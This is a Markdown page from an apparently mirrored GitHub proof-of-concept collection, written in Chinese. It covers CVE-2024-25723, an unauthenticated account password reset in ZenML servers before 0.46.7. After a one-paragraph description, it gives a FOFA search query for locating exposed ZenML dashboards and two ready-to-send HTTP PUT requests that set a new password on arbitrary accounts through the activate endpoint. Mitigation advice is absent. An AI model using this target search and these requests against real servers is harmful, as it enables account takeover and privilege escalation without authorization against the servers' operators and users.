mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
39 lines
1020 B
Markdown
39 lines
1020 B
Markdown
|
## ZenML服务器远程权限提升漏洞(CVE-2024-25723)
|
|||
|
|
|
|||
|
|
ZenML服务器远程权限提升漏洞（CVE-2024-25723）存在于Python的0.46.7之前的ZenML机器学习包中的ZenML服务,漏洞源于/*/{user_name_or_id}/activate REST API 端点允许基于有效用户名和请求正文中的新密码进行访问，可导致未授权用户远程权限提升，可直接重置任意ZenML账户密码。
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
```
|
|||
|
|
title=="ZenML - Dashboard"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
```
|
|||
|
|
PUT /api/v1/users/*/activate HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: python-requests/2.28.1
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Accept: */*
|
|||
|
|
Connection: close
|
|||
|
|
Content-Type: application/json
|
|||
|
|
Content-Length: 31
|
|||
|
|
|
|||
|
|
{"password": "Ldwk@20240426"}
|
|||
|
|
|
|||
|
|
|
|||
|
|
PUT /api/v1/users/default/activate HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: python-requests/2.28.1
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Accept: */*
|
|||
|
|
Connection: close
|
|||
|
|
Content-Type: application/json
|
|||
|
|
Content-Length: 31
|
|||
|
|
|
|||
|
|
{"password": "Ldwk@20240426"}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|